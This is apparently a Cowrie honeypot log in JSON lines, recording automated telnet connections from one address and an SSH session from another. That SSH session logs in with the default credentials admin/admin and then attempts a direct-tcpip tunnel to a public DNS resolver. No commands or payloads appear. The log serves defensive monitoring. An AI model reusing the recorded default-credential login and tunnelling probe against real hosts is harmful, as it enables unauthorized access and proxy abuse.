{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36810,"dst_ip":"10.17.0.5","dst_port":23,"session":"24430d7dd1b1","protocol":"telnet","message":"New connection: 155.138.226.95:36810 (10.17.0.5:23) [session: 24430d7dd1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:49.364754Z"}
{"eventid":"cowrie.session.closed","duration":30.777858018875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:49.648382Z","src_ip":"155.138.226.95","session":"9f905bcf221b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.785346746444702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:49.835518Z","src_ip":"155.138.226.95","session":"d3e6c1a1749d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46212,"dst_ip":"10.17.0.5","dst_port":23,"session":"82040d56c83c","protocol":"telnet","message":"New connection: 155.138.226.95:46212 (10.17.0.5:23) [session: 82040d56c83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:50.648188Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90ecdc71e30","protocol":"telnet","message":"New connection: 155.138.226.95:46214 (10.17.0.5:23) [session: b90ecdc71e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:50.904621Z"}
{"eventid":"cowrie.session.closed","duration":30.74120283126831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:51.131775Z","src_ip":"155.138.226.95","session":"7dc8a3d49061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":92.33671379089355,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:51.772442Z","src_ip":"64.41.88.162","session":"0debafef4374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46226,"dst_ip":"10.17.0.5","dst_port":23,"session":"85efedfa1f09","protocol":"telnet","message":"New connection: 155.138.226.95:46226 (10.17.0.5:23) [session: 85efedfa1f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:51.960388Z"}
{"eventid":"cowrie.session.closed","duration":30.380719661712646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:52.135614Z","src_ip":"155.138.226.95","session":"c17f66e34213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc797dec4d99","protocol":"telnet","message":"New connection: 155.138.226.95:46228 (10.17.0.5:23) [session: fc797dec4d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:53.897341Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46230,"dst_ip":"10.17.0.5","dst_port":23,"session":"69166925863d","protocol":"telnet","message":"New connection: 155.138.226.95:46230 (10.17.0.5:23) [session: 69166925863d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:54.261838Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46236,"dst_ip":"10.17.0.5","dst_port":23,"session":"239309457abf","protocol":"telnet","message":"New connection: 155.138.226.95:46236 (10.17.0.5:23) [session: 239309457abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:54.743060Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46244,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97b028b79ae","protocol":"telnet","message":"New connection: 155.138.226.95:46244 (10.17.0.5:23) [session: c97b028b79ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:56.825426Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46260,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d80cfbd01b9","protocol":"telnet","message":"New connection: 155.138.226.95:46260 (10.17.0.5:23) [session: 0d80cfbd01b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:57.076620Z"}
{"eventid":"cowrie.session.closed","duration":31.087730646133423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:58.188655Z","src_ip":"155.138.226.95","session":"5fb7e7076102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46270,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff10ef34f7f1","protocol":"telnet","message":"New connection: 155.138.226.95:46270 (10.17.0.5:23) [session: ff10ef34f7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:59.068132Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46284,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9c9707d64f","protocol":"telnet","message":"New connection: 155.138.226.95:46284 (10.17.0.5:23) [session: dd9c9707d64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:59.071894Z"}
{"eventid":"cowrie.session.closed","duration":31.189996242523193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:00.212465Z","src_ip":"155.138.226.95","session":"f65fbf99702c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058671474456787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:02.153626Z","src_ip":"155.138.226.95","session":"350fa06fc2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47844433784485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:03.258291Z","src_ip":"155.138.226.95","session":"b7afca21d036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":48268,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b07881e709","protocol":"telnet","message":"New connection: 155.138.226.95:48268 (10.17.0.5:23) [session: c5b07881e709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:04.825270Z"}
{"eventid":"cowrie.session.closed","duration":30.925042152404785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:05.608464Z","src_ip":"155.138.226.95","session":"9a338c423159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348790645599365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:05.919116Z","src_ip":"155.138.226.95","session":"dbc78d8af8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13702940940857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:06.152260Z","src_ip":"155.138.226.95","session":"5471fed8f860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":48284,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be1aafe5c29","protocol":"telnet","message":"New connection: 155.138.226.95:48284 (10.17.0.5:23) [session: 1be1aafe5c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:06.210220Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":48300,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dfa3ebbe6cb","protocol":"telnet","message":"New connection: 155.138.226.95:48300 (10.17.0.5:23) [session: 7dfa3ebbe6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:06.252342Z"}
{"eventid":"cowrie.session.closed","duration":31.29826831817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:07.714393Z","src_ip":"155.138.226.95","session":"69084a879dd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59754204750061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:08.607696Z","src_ip":"155.138.226.95","session":"9fcede150f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.390011310577393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:11.245082Z","src_ip":"155.138.226.95","session":"53004c8d5f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254538536071777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:12.834180Z","src_ip":"155.138.226.95","session":"ed6340e6d809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":56048,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf23a4c0566","protocol":"telnet","message":"New connection: 155.138.226.95:56048 (10.17.0.5:23) [session: cbf23a4c0566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:13.549496Z"}
{"eventid":"cowrie.session.closed","duration":30.137247323989868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:16.071261Z","src_ip":"155.138.226.95","session":"9b5477649dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":56062,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c6018d55d0","protocol":"telnet","message":"New connection: 155.138.226.95:56062 (10.17.0.5:23) [session: a0c6018d55d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:16.788785Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":56084,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d99ab34bef4","protocol":"telnet","message":"New connection: 155.138.226.95:56084 (10.17.0.5:23) [session: 7d99ab34bef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:17.092763Z"}
{"eventid":"cowrie.session.closed","duration":30.65952754020691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:18.394217Z","src_ip":"155.138.226.95","session":"e6334e9ff926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":56068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c240e3e35f4c","protocol":"telnet","message":"New connection: 155.138.226.95:56068 (10.17.0.5:23) [session: c240e3e35f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:19.098981Z"}
{"eventid":"cowrie.session.closed","duration":31.05924415588379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:19.437095Z","src_ip":"155.138.226.95","session":"40d1cd077e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.464035034179688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:20.828682Z","src_ip":"155.138.226.95","session":"24430d7dd1b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429593086242676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:21.077624Z","src_ip":"155.138.226.95","session":"82040d56c83c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36899423599243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:21.273485Z","src_ip":"155.138.226.95","session":"b90ecdc71e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f6aeaf6ae7","protocol":"telnet","message":"New connection: 155.138.226.95:33596 (10.17.0.5:23) [session: b9f6aeaf6ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:22.218132Z"}
{"eventid":"cowrie.session.closed","duration":30.83399200439453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:22.794295Z","src_ip":"155.138.226.95","session":"85efedfa1f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.131961584091187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:24.029215Z","src_ip":"155.138.226.95","session":"fc797dec4d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833614826202393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:25.095317Z","src_ip":"155.138.226.95","session":"69166925863d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33612,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa5218aab44","protocol":"telnet","message":"New connection: 155.138.226.95:33612 (10.17.0.5:23) [session: 8aa5218aab44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:25.564774Z"}
{"eventid":"cowrie.session.closed","duration":30.922666788101196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:25.665600Z","src_ip":"155.138.226.95","session":"239309457abf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33622,"dst_ip":"10.17.0.5","dst_port":23,"session":"2455bc0131f7","protocol":"telnet","message":"New connection: 155.138.226.95:33622 (10.17.0.5:23) [session: 2455bc0131f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:25.680606Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33638,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b0a4d046f8","protocol":"telnet","message":"New connection: 155.138.226.95:33638 (10.17.0.5:23) [session: 33b0a4d046f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:25.837127Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33644,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a7d10d8c73","protocol":"telnet","message":"New connection: 155.138.226.95:33644 (10.17.0.5:23) [session: 51a7d10d8c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:26.369747Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33656,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c84ee476e2f","protocol":"telnet","message":"New connection: 155.138.226.95:33656 (10.17.0.5:23) [session: 3c84ee476e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:27.368089Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50cddcd3671","protocol":"telnet","message":"New connection: 155.138.226.95:33666 (10.17.0.5:23) [session: f50cddcd3671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:27.410261Z"}
{"eventid":"cowrie.session.closed","duration":31.160701751708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:27.985933Z","src_ip":"155.138.226.95","session":"c97b028b79ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33670,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89468e29514","protocol":"telnet","message":"New connection: 155.138.226.95:33670 (10.17.0.5:23) [session: a89468e29514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:28.200663Z"}
{"eventid":"cowrie.session.closed","duration":31.190062284469604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:28.266589Z","src_ip":"155.138.226.95","session":"0d80cfbd01b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":92.77062034606934,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:28.454246Z","src_ip":"49.88.156.34","session":"eee8fecbd83f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12010,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbbff36958aa","protocol":"ssh","message":"New connection: 87.251.64.176:12010 (10.17.0.5:22) [session: fbbff36958aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:28.987180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:28.992088Z","src_ip":"87.251.64.176","session":"fbbff36958aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:29.088861Z","src_ip":"87.251.64.176","session":"fbbff36958aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:29.377509Z","src_ip":"87.251.64.176","session":"fbbff36958aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:29.476311Z","session":"fbbff36958aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:29.574121Z","src_ip":"87.251.64.176","session":"fbbff36958aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:29.707021Z","src_ip":"87.251.64.176","session":"fbbff36958aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94336462020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:30.015178Z","src_ip":"155.138.226.95","session":"dd9c9707d64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.286412000656128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:30.354458Z","src_ip":"155.138.226.95","session":"ff10ef34f7f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.38432788848877,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:30.405047Z","src_ip":"104.245.105.2","session":"20afd9c95cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33564,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90dae284c80","protocol":"telnet","message":"New connection: 155.138.226.95:33564 (10.17.0.5:23) [session: f90dae284c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:31.757100Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33676,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e761c255830","protocol":"telnet","message":"New connection: 155.138.226.95:33676 (10.17.0.5:23) [session: 4e761c255830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:31.837566Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33570,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a538a313887","protocol":"telnet","message":"New connection: 155.138.226.95:33570 (10.17.0.5:23) [session: 4a538a313887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:32.670390Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33582,"dst_ip":"10.17.0.5","dst_port":23,"session":"48eca956b0cf","protocol":"telnet","message":"New connection: 155.138.226.95:33582 (10.17.0.5:23) [session: 48eca956b0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:35.520982Z"}
{"eventid":"cowrie.session.closed","duration":30.837523698806763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:35.662675Z","src_ip":"155.138.226.95","session":"c5b07881e709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965120792388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:37.175189Z","src_ip":"155.138.226.95","session":"1be1aafe5c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33606,"dst_ip":"10.17.0.5","dst_port":23,"session":"759b65ad9ad2","protocol":"telnet","message":"New connection: 155.138.226.95:33606 (10.17.0.5:23) [session: 759b65ad9ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:37.306873Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b202202ac41","protocol":"telnet","message":"New connection: 155.138.226.95:33598 (10.17.0.5:23) [session: 9b202202ac41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:37.468437Z"}
{"eventid":"cowrie.session.closed","duration":31.626620054244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:37.878842Z","src_ip":"155.138.226.95","session":"7dfa3ebbe6cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c3b4ef66b5","protocol":"telnet","message":"New connection: 155.138.226.95:33618 (10.17.0.5:23) [session: b1c3b4ef66b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:38.652543Z"}
